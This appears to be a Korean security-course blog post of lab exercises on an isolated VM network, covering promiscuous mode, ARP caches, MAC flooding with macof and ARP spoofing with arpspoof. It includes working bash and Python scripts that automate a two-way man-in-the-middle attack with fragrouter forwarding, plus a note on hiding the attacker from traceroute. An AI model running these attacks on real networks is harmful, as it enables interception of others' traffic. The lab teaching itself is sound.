<img src="https://velog.velcdn.com/images/security_code/post/9b38edd9-bfad-426a-ab3c-e9bd7348a102/image.PNG" alt="">
<img src="https://velog.velcdn.com/images/security_code/post/542935b2-4367-42d9-9831-a7ff3ea345cd/image.PNG" alt="">
<img src="https://velog.velcdn.com/images/security_code/post/de89916d-073f-485c-afd3-2535655f2623/image.PNG" alt="">
<img src="https://velog.velcdn.com/images/security_code/post/0ded4c7c-dad2-4e10-ad9b-67236103de06/image.PNG" alt="">
<img src="https://velog.velcdn.com/images/security_code/post/e2ef2187-990a-4b7e-b4ac-b33203106ae2/image.PNG" alt="">
<img src="https://velog.velcdn.com/images/security_code/post/009e5a34-9662-466f-8984-b45b5dd2590b/image.PNG" alt="">
<img src="https://velog.velcdn.com/images/security_code/post/0525f4b8-bf9c-41e5-a4b7-7c7767ab71ef/image.PNG" alt="">
<img src="https://velog.velcdn.com/images/security_code/post/b1ff573f-54c7-4b2f-81c3-ce97a8735444/image.PNG" alt=""></p>
<blockquote>
<p><strong>실습&gt; ifconfig 를 이용한 promisc On/Off</strong></p>
</blockquote>
<pre><code>NIC는 기본적으로는 자신의 패킷이 아니면 폐기한다.
무차별 모드인 promiscous 인 경우에는 패킷이 아니면 받아 들인다.

NIC의 기본 모드는 promisc가 Off된 상태이다.
[root@kali ~]# ifconfig
eth0: flags=4163&lt;UP,BROADCAST,RUNNING,MULTICAST&gt;  mtu 1500
        inet 200.200.200.3  netmask 255.255.255.0  broadcast 200.200.200.255
        inet6 fe80::3a0a:df6f:1140:3e0b  prefixlen 64  scopeid 0x20&lt;link&gt;
        ether 00:0c:29:28:37:34  txqueuelen 1000  (Ethernet)
        RX packets 1071  bytes 89838 (87.7 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 226  bytes 17729 (17.3 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73&lt;UP,LOOPBACK,RUNNING&gt;  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10&lt;host&gt;
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

promisc를 활성화 한다.
[root@kali ~]# ifconfig eth0 promisc

[root@kali ~]# ifconfig
eth0: flags=4419&lt;UP,BROADCAST,RUNNING,PROMISC,MULTICAST&gt;  mtu 1500
        inet 200.200.200.3  netmask 255.255.255.0  broadcast 200.200.200.255
        inet6 fe80::3a0a:df6f:1140:3e0b  prefixlen 64  scopeid 0x20&lt;link&gt;
        ether 00:0c:29:28:37:34  txqueuelen 1000  (Ethernet)
        RX packets 1142  bytes 95088 (92.8 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 268  bytes 22367 (21.8 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73&lt;UP,LOOPBACK,RUNNING&gt;  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10&lt;host&gt;
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

promisc를 비활성화 한다.
[root@kali ~]# ifconfig eth0 -promisc

[root@kali ~]# ifconfig
eth0: flags=4163&lt;UP,BROADCAST,RUNNING,MULTICAST&gt;  mtu 1500
        inet 200.200.200.3  netmask 255.255.255.0  broadcast 200.200.200.255
        inet6 fe80::3a0a:df6f:1140:3e0b  prefixlen 64  scopeid 0x20&lt;link&gt;
        ether 00:0c:29:28:37:34  txqueuelen 1000  (Ethernet)
        RX packets 1268  bytes 105830 (103.3 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 333  bytes 29317 (28.6 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73&lt;UP,LOOPBACK,RUNNING&gt;  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10&lt;host&gt;
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
</code></pre><blockquote>
<p><strong>실습&gt; arp cache table 확인하기</strong></p>
</blockquote>
<pre><code>200.200.200.4: Windows XP
200.200.200.3: Kali Linux

1. Victim 방화벽 비활성화
Windows XP에서 방화벽을 비활성화 한다.
cmd -&gt; C:\&gt; firewall.cpl -&gt; 방화벽 사용 안함을 선택한다.

2. arp cache 삭제
Windows XP의 ARP Cache 를 삭제한다.
[root@kali ~]# arp -d 200.200.200.4
[root@kali ~]# arp 
Address                  HWtype  HWaddress           Flags Mask            Iface
200.200.200.1            ether   00:50:56:c0:00:08   C                     eth0
200.200.200.2            ether   00:50:56:fa:09:53   C                     eth0

3. 패킷 모니터링
[root@kali ~]# tcpdump -nn -i eth0 not port 22 and host 200.200.200.4


4. ping 테스트
[root@kali ~]# ping -c 3 200.200.200.4
PING 200.200.200.4 (200.200.200.4) 56(84) bytes of data.
64 bytes from 200.200.200.4: icmp_seq=1 ttl=128 time=3.08 ms
64 bytes from 200.200.200.4: icmp_seq=2 ttl=128 time=0.576 ms
64 bytes from 200.200.200.4: icmp_seq=3 ttl=128 time=0.347 ms

--- 200.200.200.4 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2018ms
rtt min/avg/max/mdev = 0.347/1.333/3.076/1.236 ms

5. 패킷 모니터링 확인
[root@kali ~]# tcpdump -nn -i eth0 not port 22 and host 200.200.200.4
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), snapshot length 262144 bytes
21:04:34.974037 ARP, Request who-has 200.200.200.4 tell 200.200.200.3, length 28
21:04:34.975428 ARP, Reply 200.200.200.4 is-at 00:0c:29:0e:30:1e, length 46
21:04:34.975435 IP 200.200.200.3 &gt; 200.200.200.4: ICMP echo request, id 50782, seq 1, length 64
21:04:34.977095 IP 200.200.200.4 &gt; 200.200.200.3: ICMP echo reply, id 50782, seq 1, length 64
21:04:35.976075 IP 200.200.200.3 &gt; 200.200.200.4: ICMP echo request, id 50782, seq 2, length 64
21:04:35.976609 IP 200.200.200.4 &gt; 200.200.200.3: ICMP echo reply, id 50782, seq 2, length 64
21:04:36.992070 IP 200.200.200.3 &gt; 200.200.200.4: ICMP echo request, id 50782, seq 3, length 64
21:04:36.992395 IP 200.200.200.4 &gt; 200.200.200.3: ICMP echo reply, id 50782, seq 3, length 64
^C
8 packets captured
8 packets received by filter
0 packets dropped by kernel

6. arp cache table 확인
[root@kali ~]# arp 
Address                  HWtype  HWaddress           Flags Mask            Iface
200.200.200.4            ether   00:0c:29:0e:30:1e   C                     eth0   &lt;--
200.200.200.1            ether   00:50:56:c0:00:08   C                     eth0
200.200.200.2            ether   00:50:56:fa:09:53   C                     eth0
</code></pre><blockquote>
<p><strong>실습&gt; MAC Flooding 공격</strong></p>
</blockquote>
<pre><code>예전에는 변조된 MAC주소를 스위치에 전송해서 Switch의 MAC Address table을 가득 채워서
HUB로 동작하게 했던 공격이었지만 지금은 공격이 안된다.
여기서는 테스트로 사용해보고 종료한다.
최신 Kali Linux에서 macof 가 없기 때문에 설치하고 사용한다.
[root@kali ~]# macof
ed:c5:b7:46:3a:26 de:68:a:7f:e3:ff 0.0.0.0.2943 &gt; 0.0.0.0.65209: S 1775319704:1775319704(0) win 512
87:24:de:45:25:a1 af:8c:91:65:a3:28 0.0.0.0.40636 &gt; 0.0.0.0.44922: S 1643582026:1643582026(0) win 512
28:9:b:65:d:a2 92:89:e7:2e:aa:bd 0.0.0.0.36439 &gt; 0.0.0.0.17039: S 1505706254:1505706254(0) win 512
e9:7a:4a:28:72:27 8b:c9:ce:60:1d:b 0.0.0.0.35480 &gt; 0.0.0.0.45780: S 1856587372:1856587372(0) win 512
9:fc:bb:15:7a:9f 6b:d3:bb:7c:6:4 0.0.0.0.32799 &gt; 0.0.0.0.59097: S 446720999:446720999(0) win 512
^C
</code></pre><p><img src="https://velog.velcdn.com/images/security_code/post/633eff04-13d5-444b-a5b7-6056717d2fec/image.png" alt=""></p>
<blockquote>
<p><strong>실습&gt; ARP Cache table 확인하기</strong></p>
</blockquote>
<pre><code>
                  200.200.200.0/24

          xp           Kali         CentOS 7
         [.4]          [.3]          [.6]
           |             |             |
   --------+-------------+-------------+--------

200.200.200.4: 00-0C-29-0E-30-1E
200.200.200.3: 00:0c:29:28:37:34
200.200.200.6: 00:0c:29:3d:bf:69

1. MAC주소 확인
200.200.200.4에서 arp cache table을 확인한다.
C:\&gt;arp -d 200.200.200.1
C:\&gt;arp -d 200.200.200.2
C:\&gt;arp -d 200.200.200.3
C:\&gt;arp -d 200.200.200.6
C:\&gt;arp -a
No ARP Entries Found

200.200.200.3에서 arp cache table을 확인한다.
# yum -y install net-tools
# arp -d 200.200.200.1
# arp -d 200.200.200.2
# arp -d 200.200.200.3
# arp -d 200.200.200.4

# arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
200.200.200.2            ether   00:50:56:fa:09:53   C                     ens33
200.200.200.1            ether   00:50:56:c0:00:08   C                     ens33

2. ping 통신
윈도우 XP에서 200.200.200.6 와 ping 통신을 한다.
C:\&gt;ping 200.200.200.6

Pinging 200.200.200.6 with 32 bytes of data:

Reply from 200.200.200.6: bytes=32 time&lt;1ms TTL=64
Reply from 200.200.200.6: bytes=32 time&lt;1ms TTL=64
Reply from 200.200.200.6: bytes=32 time&lt;1ms TTL=64
Reply from 200.200.200.6: bytes=32 time&lt;1ms TTL=64

Ping statistics for 200.200.200.6:
    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
    Minimum = 0ms, Maximum = 0ms, Average = 0ms

통신이 끝난 후에 arp cache table을 확인해보면 아래처럼  MAC 주소 200.200.200.6이 저장되어 있다.
C:\&gt;arp -a

Interface: 200.200.200.4 --- 0x2
  Internet Address      Physical Address      Type
  200.200.200.6         00-0c-29-3d-bf-69     dynamic

통신이 끝난 후에 arp cache table을 확인해보면 아래처럼 MAC 주소 200.200.200.4가 저장되어 있다.
# arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
200.200.200.4            ether   00:0c:29:0e:30:1e   C                     ens33
200.200.200.2            ether   00:50:56:fa:09:53   C                     ens33
200.200.200.1            ether   00:50:56:c0:00:08   C                     ens33

</code></pre><blockquote>
<p><strong>실습&gt; dsniff 패키지 설치</strong></p>
</blockquote>
<pre><code>최신 Kali에서는 dsniff 패키지가 없기 때문에 설치한다.
위에서 macof 명령어를 사용했기 때문에 dsniff 패키지가 설치되었다.
[root@kali ~]# apt install dsniff</code></pre><p><img src="https://velog.velcdn.com/images/security_code/post/5748d400-0fa9-45e8-9f19-e0f6e5f1d2d5/image.png" alt="">
<img src="https://velog.velcdn.com/images/security_code/post/f18149f6-6a78-45b0-b0f1-d707cc98966a/image.png" alt="">
<img src="https://velog.velcdn.com/images/security_code/post/6c0c8690-4463-4845-b18f-12299d586507/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/security_code/post/8440ba34-fa0e-4574-96b7-9e96534b1d67/image.png" alt="">
<img src="https://velog.velcdn.com/images/security_code/post/862a3434-3a98-4e42-b7e8-dcb51523acd1/image.jpg" alt="">
<img src="https://velog.velcdn.com/images/security_code/post/87137d15-407f-4765-9a5b-878b86aee9df/image.jpg" alt="">
<img src="https://velog.velcdn.com/images/security_code/post/25027f96-4d55-4197-9c35-126c108378fd/image.jpg" alt="">
<img src="https://velog.velcdn.com/images/security_code/post/04999ca2-3753-4619-b38a-564add33ce14/image.jpg" alt=""></p>
<blockquote>
<p><strong>실습&gt; ARP spoofing</strong></p>
</blockquote>
<pre><code>ARP Spoofing: 내부망에서 사용되는 공격

Victim1(WinXP)  : 200.200.200.4 00:0c:29:0e:30:1e
Attacker(Kali)  : 200.200.200.3 00:0c:29:28:37:34
Victim3(CentOS7): 200.200.200.6 00:0c:29:3d:bf:69

MAC 주소 확인하는 방법
Linux   : ifconfig, ip a
Windows : ipconfig /all

ARP 캐쉬 테이블 확인하는 방법
Linux   : arp -a, arp -n
Windows : arp -a

ARP Spoofing을 이용한 패킷 전달 방법               

                                                   B
[Victim1(WinXP)] &lt;-- ARP Reply(200.200.200.6)  [Attacker]  ARP Reply(200.200.200.4)  --&gt; [Victim3(CentOS7)]
 200.200.200.4  ----------------------------------MITM-----------------------------------&gt;  200.200.200.6
      A         &lt;---------------------------------MITM------------------------------------       C  

1. 방화벽 중지
Victim1, Victim3에 방화벽을 비활성화 시킨다.

Victim1(WinXP) : firewall.cpl -&gt; 사용안함

Victim3(CentOS7) 
systemctl stop firewalld 
systemctl disable firewalld 
iptables -F
iptables -nL 
iptables -t nat -nL

2. 패키지 다운로드
dsniff: arpspoof 명령어가 저장된 패키지
최신 Kali 에서는 dsniff 패키지가 없으므로 이를 설치한다.
[root@kali ~]# vi /etc/resolv.conf
nameserver 168.126.63.1

[root@kali ~]# apt-get clean 
[root@kali ~]# apt-get update
[root@kali ~]# apt-get -f install
[root@kali ~]# apt -y install dsniff

3. 통신 시도
Victim1(WinXP)  : 200.200.200.4 00:0c:29:0e:30:1e
Attacker(Kali)  : 200.200.200.3 00:0c:29:28:37:34
Victim3(CentOS7): 200.200.200.6 00:0c:29:3d:bf:69

Windows XP에서 CentOS 7 (으)로 ping을 날려서 MAC주소를 얻어온다.

정상적인 경우
C:\&gt;ping 200.200.200.6

Pinging 200.200.200.6 with 32 bytes of data:

Reply from 200.200.200.6: bytes=32 time=1ms TTL=64
Reply from 200.200.200.6: bytes=32 time&lt;1ms TTL=64
Reply from 200.200.200.6: bytes=32 time&lt;1ms TTL=64
Reply from 200.200.200.6: bytes=32 time=1ms TTL=64

Ping statistics for 200.200.200.6:
    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss
Approximate round trip times in milli-seconds:
    Minimum = 0ms, Maximum = 1ms, Average = 0ms

C:\&gt;arp -a

Interface: 200.200.200.4 --- 0x2
  Internet Address      Physical Address      Type
  200.200.200.6         00-0c-29-3d-bf-69     dynamic  &lt;-- 정상적인 MAC 주소

# arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
200.200.200.4            ether   00:0c:29:0e:30:1e   C                     ens33  &lt;-- 정상적인 MAC 주소
200.200.200.2            ether   00:50:56:fa:09:53   C                     ens33
200.200.200.1            ether   00:50:56:c0:00:08   C                     ens33

비정상적인 경우
ARP Spoofing 공격을 통해서 통신의 흐름을 공격자에게 전송할 수 있도록 한다.
사용법: arpspoof -t Victim 속일IP주소 
[root@kali ~]# arpspoof 
Version: 2.4
Usage: arpspoof [-i interface] [-c own|host|both] [-t target] [-r] host

Victim1(WinXP)  : 200.200.200.4 00:0c:29:0e:30:1e
Attacker(Kali)  : 200.200.200.3 00:0c:29:28:37:34
Victim3(CentOS7): 200.200.200.6 00:0c:29:3d:bf:69


            Attacker -&gt; Victim1으로 공격                   Attacker -&gt; Victim3으로 공격
                                                   B
[Victim1(WinXP)] &lt;-- ARP Reply(200.200.200.6)  [Attacker]  ARP Reply(200.200.200.4)  --&gt; [Victim3(CentOS7)]
 200.200.200.4  ----------------------------------MITM-----------------------------------&gt;  200.200.200.6
      A         &lt;---------------------------------MITM------------------------------------       C  

Attacker -&gt; Victim1으로 공격
[root@kali ~]# arpspoof -t 200.200.200.4 200.200.200.6
C:\&gt;ping 200.200.200.6
^C
C:\&gt;arp -a

Interface: 200.200.200.4 --- 0x2
  Internet Address      Physical Address      Type
  200.200.200.1         00-50-56-c0-00-08     dynamic
  200.200.200.6         00-0c-29-28-37-34     dynamic  &lt;-- 변조된 MAC 주소

Attacker -&gt; Victim3으로 공격
[root@kali ~]# arpspoof -t 200.200.200.6 200.200.200.4

[root@victim3 ~]# arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
200.200.200.4            ether   00:0c:29:28:37:34   C                     ens33  &lt;-- 변조된 MAC 주소 
200.200.200.2            ether   00:50:56:fa:09:53   C                     ens33
200.200.200.3            ether   00:0c:29:28:37:34   C                     ens33  &lt;-- 공격자 MAC 주소
200.200.200.1            ether   00:50:56:c0:00:08   C                     ens33

4. 문제점 확인
Attacker가 Victim1(Windows XP)에게 ARP Reply 패킷을 던져서 Victim3(CentOS7)의 MAC주소가 
변경이 되었기 때문에 Victim1에서 보낸 ping 패킷이 Attacker 쪽으로 가고 
Attacker가 Victim3으로 포워딩을 해주지 않았기 때문에 통신이 안되므로 Request Timed out. 이 발생한 것이다.

패킷 포워딩하지 않은 경우에 발생하는 문제점
C:\&gt;ping 200.200.200.6

Pinging 200.200.200.6 with 32 bytes of data:

Request timed out.
Request timed out.
Request timed out.
Request timed out.

Ping statistics for 200.200.200.6:
    Packets: Sent = 4, Received = 0, Lost = 4 (100% loss),

5. 패킷 포워딩
포워딩이란?
Attacker가 Victim1에서 받은 패킷을 Victim3으로 전달하고 Victim3에서 온 패킷을 Victim1로 전달해주는 역할을 한다.

패킷 포워딩 방식 첫 번째 방법: 커널 포워딩, 커널 파라미터 설정 (NAT 설정 때 실습했던 부분)
패킷 포워딩 방식 두 번째 방법: 프로그램 포워딩, 프로그램을 실행시켜서 설정 (fragrouter를 이용)

포워딩 방식 첫 번째 방법: 커널 포워딩

커널 포워딩
- 영구적 설정 : /etc/sysctl.conf 수정
- 임시적 설정 : /proc/sys/net/ipv4/ip_forward 수정

다른 터미널을 열어서 패킷 포워딩을 설정한다.
[root@kali ~]# echo 1 &gt; /proc/sys/net/ipv4/ip_forward

6. 통신 확인
Victim1 -&gt; Victim3 으로 통신 확인 :
포워딩 설정 후 통신이 잘 되는지 확인한다.

C:\&gt;ping 200.200.200.6

Pinging 200.200.200.6 with 32 bytes of data:

Reply from 200.200.200.6: bytes=32 time&lt;1ms TTL=63
Reply from 200.200.200.6: bytes=32 time=1ms TTL=63
Reply from 200.200.200.6: bytes=32 time=1ms TTL=63
Reply from 200.200.200.6: bytes=32 time=2ms TTL=63

Ping statistics for 200.200.200.6:
    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
    Minimum = 0ms, Maximum = 2ms, Average = 1ms

공격자가 커널 포워딩으로 포워딩을 하면 Attacker가 라우터 역할을 하므로 
tracert 를 이용해서 확인하면 공격자의 IP주소를 확인할 수 있다. 
C:\&gt;tracert  -d 200.200.200.6

Tracing route to 200.200.200.6 over a maximum of 30 hops

  1    &lt;1 ms    &lt;1 ms    &lt;1 ms  200.200.200.3  &lt;-- Attacker
  2    &lt;1 ms    &lt;1 ms    &lt;1 ms  200.200.200.6

Trace complete.

[root@victim3 ~]# yum -y install traceroute
[root@victim3 ~]# traceroute 200.200.200.4
traceroute to 200.200.200.4 (200.200.200.4), 30 hops max, 60 byte packets
 1  200.200.200.3 (200.200.200.3)  0.262 ms  0.259 ms  0.171 ms  &lt;-- Attacker
 2  200.200.200.4 (200.200.200.4)  0.495 ms  0.433 ms  0.420 ms


&gt;&gt;&gt; ARP Spoofing 정리 &lt;&lt;&lt;
Victim1(WinXP)  : 200.200.200.4 00:0c:29:0e:30:1e
Attacker(Kali)  : 200.200.200.3 00:0c:29:28:37:34
Victim3(CentOS7): 200.200.200.6 00:0c:29:3d:bf:69

[root@kali ~]# arpspoof -t 200.200.200.4 200.200.200.6
[root@kali ~]# arpspoof -t 200.200.200.6 200.200.200.4
[root@kali ~]# echo 1 &gt; /proc/sys/net/ipv4/ip_forward


[root@kali ~]# arpspoof -t 200.200.200.4 200.200.200.6
^C
[root@kali ~]# arpspoof -t 200.200.200.6 200.200.200.4
^C
[root@kali ~]# echo 0 &gt; /proc/sys/net/ipv4/ip_forward


ARP Spofing 공격을 이해하기 위해서 반드시 알아야 할 내용들
ping
arp 동작
arp 헤더
arp request
arp reply
패킷 트레이서에서 Simulation 분석
스위치 맥주소 테이블
ARP 캐쉬 테이블
arp -a
arp -d
커널 포워딩
traceroute, tracert
arpspoof
LAN 상에서의 호스트간의 통신 방법
</code></pre><blockquote>
<p><strong>실습&gt; arpspoofing 공격 스크립트 작성하기</strong></p>
</blockquote>
<pre><code>쉘 스크립트 : arpspoof1.sh
프로그래밍 언어 : bash shell script
사용법 : arpspoof1.sh victim1 vimtim2

1. 공격 스크립트 작성
[root@kali ~]# install /dev/null /bin/arpspoof1.sh

[root@kali ~]# vi /bin/arpspoof1.sh 
#!/bin/sh
# 파일명 : arpspoof1.sh
# 프로그램 설명 : arp spoofing 공격 자동화 쉘 스크립트
# 작성자 : 리눅스마스터넷

# argument count : 인수(인자)의 개수
# $# : 전체 인수의 개수이지만 명령어는 포함이 안된다.
# $0 : 명령어가 저장된 특수 변수
# $1 : 첫 번째 인수가 저장된 특수 변수
# $2 : 두 번째 인수가 저장된 특수 변수
argc=$#
network=200.200.200.

# 인수의 개수가 2개가 아니면 프로세스를 종료한다.
if [ $argc -ne 2 ]
then
    echo &quot;사용법 : $0 victim1 victim2&quot;
    exit 1
fi

# $1 : 첫 번째 파라미터 victim1
# $2 : 두 번째 파라미터 victim2
arpspoof -t ${network}$1 ${network}$2 &gt; /dev/null 2&gt;&amp;1 &amp;
arpspoof -t ${network}$2 ${network}$1 &gt; /dev/null 2&gt;&amp;1 &amp;
fragrouter -B1 
pkill arpspoof

2. 공격 스크립트 실행
[root@kali ~]# apt -y install fragrouter
[root@kali ~]# arpspoof1.sh 
사용법 : /usr/bin/arpspoof1.sh victim1 victim2

[root@kali ~]# arpspoof1.sh 4 6
fragrouter: base-1: normal IP forwarding

3. 프로세스 확인
다른 터미널에서 확인해보면 arpspoof 명령어가 2개 실행된 것을 확인할 수 있다.
[root@kali ~]# ps aux | grep arpspoof
root       68952  0.0  0.0   2704   932 pts/1    S+   00:33   0:00 /bin/sh /usr/bin/arpspoof1.sh 4 6
root       68953  0.0  0.0   6800  1628 pts/1    S+   00:33   0:00 arpspoof -t 200.200.200.4 200.200.200.6
root       68954  0.0  0.0   6800  1628 pts/1    S+   00:33   0:00 arpspoof -t 200.200.200.6 200.200.200.4
root       69078  0.0  0.1   6348  2160 pts/2    S+   00:33   0:00 grep --color=auto arpspoof

4. 통신 확인
Victim1 WinXP에서 확인한다.
C:\&gt;ping 200.200.200.6

Pinging 200.200.200.6 with 32 bytes of data:

Reply from 200.200.200.6: bytes=32 time=1ms TTL=64
Reply from 200.200.200.6: bytes=32 time&lt;1ms TTL=64
Reply from 200.200.200.6: bytes=32 time&lt;1ms TTL=63
Reply from 200.200.200.6: bytes=32 time=1ms TTL=63

Ping statistics for 200.200.200.6:
    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
    Minimum = 0ms, Maximum = 1ms, Average = 0ms

C:\&gt;arp -a

Interface: 200.200.200.4 --- 0x2
  Internet Address      Physical Address      Type
  200.200.200.1         00-50-56-c0-00-08     dynamic
  200.200.200.3         00-0c-29-28-37-34     dynamic  &lt;-- 변조된 MAC 주소
  200.200.200.6         00-0c-29-28-37-34     dynamic

C:\&gt;tracert -d 200.200.200.6

Victim3 CentOS7에서 확인한다.
# arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
200.200.200.4            ether   00:0c:29:28:37:34   C                     ens33
200.200.200.2            ether   00:50:56:fa:09:53   C                     ens33
200.200.200.3            ether   00:0c:29:28:37:34   C                     ens33  &lt;-- 변조된 MAC 주소
200.200.200.1            ether   00:50:56:c0:00:08   C                     ens33

5. 프로세스 종료
arpspoof1.sh 를 Ctrl + C를 눌러서 종료하면 프로세스가 종료된다.
[root@kali ~]# arpspoof1.sh 4 6
fragrouter: base-1: normal IP forwarding
200.200.200.6 &gt; 200.200.200.4: icmp: type 0 code 0
200.200.200.4 &gt; 200.200.200.6: icmp: type 8 code 0
200.200.200.6 &gt; 200.200.200.4: icmp: type 0 code 0
200.200.200.6 &gt; 200.200.200.4: icmp: type 0 code 0
200.200.200.4 &gt; 200.200.200.6: icmp: type 8 code 0
^C
</code></pre><blockquote>
<p><strong>실습&gt; arpspoofing 공격 스크립트 작성하기</strong></p>
</blockquote>
<pre><code>파이썬 스크립트 : arpspoof2.py
프로그래밍 언어 : python
사용법 : arpspoof2.py victim1 vimtim2

1. 공격 스크립트 작성
[root@kali ~]# install /dev/null /bin/arpspoof2.py
[root@kali ~]# vi /bin/arpspoof2.py
#!/usr/bin/env python3
# 파일명 : arpspoof2.py
# 프로그램 설명 : arp spoofing 공격 자동화 파이썬 스크립트
# 작성자 : 리눅스마스터넷

import sys, os

# argument count : 인수(인자)의 개수
# argument value(vector) : 인수(인자)가 저장된 변수
# len: 길이를 구해주는 함수
# sys.argv[0] : 명령어가 저장된 인덱스 0번
# sys.argv[1] : 첫 번째 인수 victim1이 저장된 인덱스 1번
# sys.argv[2] : 두 번째 인수 victim2가 저장된 인덱스 2번
# sys.argv = [&#39;/usr/bin/arpspoof2.py&#39;, &#39;4&#39;, &#39;6&#39;]
#                 [0]                  [1]  [2]
argc = len(sys.argv)  # 명령어까지 포함된다.
network = &#39;200.200.200.&#39;

if argc != 3:
    print(f&quot;사용법 : {sys.argv[0]} victim1 victim2&quot;)
    sys.exit(1)  # 프로세스 종료

# sys.argv[1] : 첫 번째 파라미터 victim1
# sys.argv[2] : 두 번째 파라미터 victim2
attack = [f&#39;arpspoof -t {network}{sys.argv[1]} {network}{sys.argv[2]} &gt; /dev/null 2&gt;&amp;1 &amp;&#39;, 
          f&#39;arpspoof -t {network}{sys.argv[2]} {network}{sys.argv[1]} &gt; /dev/null 2&gt;&amp;1 &amp;&#39;,
           &#39;fragrouter -B1 &gt; /dev/null 2&gt;&amp;1&#39;,
           &#39;pkill -9 arpspoof&#39;]

print(&#39;&gt;&gt;&gt; arp spoofing 공격 실행중 !!! &lt;&lt;&lt;&#39;)

# attack 변수의 값을 하나씩 돌리면서 명령어를 실행한다.
for command in attack:
    print(f&quot;{command}&quot;)
    os.system(command)  # 명령어 실행

print(&#39;&gt;&gt;&gt; arpspoof 공격 중지!!! &lt;&lt;&lt;&#39;)


2. 공격 스크립트 실행
[root@kali ~]# arpspoof2.py
사용법 : /usr/bin/arpspoof2.py victim1 victim2

[root@kali ~]# arpspoof2.py 4 6
&gt;&gt;&gt; arp spoofing 공격 실행중 !!! &lt;&lt;&lt;
arpspoof -t 200.200.200.4 200.200.200.6 &gt; /dev/null 2&gt;&amp;1 &amp;
arpspoof -t 200.200.200.6 200.200.200.4 &gt; /dev/null 2&gt;&amp;1 &amp;
fragrouter -B1 &gt; /dev/null 2&gt;&amp;1

3. 프로세스 확인
다른 터미널에서 프로세스를 확인해서 공격 명령어가 잘 실행되는지 확인한다.
[root@kali ~]# ps aux | grep -E &#39;arpspoof|fragrouter&#39;
root       70330  0.0  0.4  17032 10088 pts/1    S+   00:39   0:00 python3 /usr/bin/arpspoof2.py 4 6
root       70332  0.0  0.0   6800  1628 pts/1    S+   00:39   0:00 arpspoof -t 200.200.200.4 200.200.200.6
root       70334  0.0  0.0   6800  1624 pts/1    S+   00:39   0:00 arpspoof -t 200.200.200.6 200.200.200.4
root       70335  0.0  0.0   2704   932 pts/1    S+   00:39   0:00 sh -c fragrouter -B1 &gt; /dev/null 2&gt;&amp;1
root       70336  0.0  0.0   2756   920 pts/1    S+   00:39   0:00 fragrouter -B1
root       70733  0.0  0.1   6484  2200 pts/2    S+   00:40   0:00 grep --color=auto -E arpspoof|fragrouter

4. 통신확인
C:\&gt;ping 200.200.200.3
C:\&gt;ping 200.200.200.6


fragrouter로 소프트웨어 포워딩을 사용하면 공격자가 보이지 않는다.
- 공격자가 보이는 것은 커널 포워딩만 보인다.
C:\&gt;tracert  -d 200.200.200.6

Tracing route to 200.200.200.6 over a maximum of 30 hops

  1  1260 ms  2111 ms  2112 ms  200.200.200.6

Trace complete.


공격이 시작되고 MAC 주소를 확인하면 200.200.200.6번의 IP주소가 변조된 MAC주소를 확인할 수 있다.
C:\&gt;arp -a

Interface: 200.200.200.4 --- 0x2
  Internet Address      Physical Address      Type
  200.200.200.1         00-50-56-c0-00-08     dynamic
  200.200.200.3         00-0c-29-28-37-34     dynamic
  200.200.200.6         00-0c-29-28-37-34     dynamic  &lt;-- 변조된 MAC 주소

5. 프로세스 종료
공격을 중지하기 위해서는 Ctrl + C를 누른다.
[root@kali ~]# arpspoof2.py 4 6 
&gt;&gt;&gt; arp spoofing 공격 실행중 !!! &lt;&lt;&lt;
arpspoof -t 200.200.200.4 200.200.200.6 &gt; /dev/null 2&gt;&amp;1 &amp;
arpspoof -t 200.200.200.6 200.200.200.4 &gt; /dev/null 2&gt;&amp;1 &amp;
fragrouter -B1 &gt; /dev/null 2&gt;&amp;1
^Cpkill -9 arpspoof
&gt;&gt;&gt; arpspoof 공격 중지!!! &lt;&lt;&lt;

프로세스를 확인하면 arp spoofing 공격에 활용된 프로세스가 중지된 것을 확인할 수 있다.
root       71258  0.0  0.1   6484  2224 pts/2    S+   00:42   0:00 grep --color=auto -E arpspoof|fragrouter

공격이 끝나고 MAC 주소를 확인하면  200.200.200.6번의 IP주소가 정상적인 MAC주소로 돌아온걸 확인할 수 있다.
C:\&gt;arp -a

Interface: 200.200.200.4 --- 0x2
  Internet Address      Physical Address      Type
  200.200.200.1         00-50-56-c0-00-08     dynamic
  200.200.200.3         00-0c-29-28-37-34     dynamic
  200.200.200.6         00-0c-29-3d-bf-69     dynamic  &lt;-- 정상적인 MAC주소
</code></pre><blockquote>
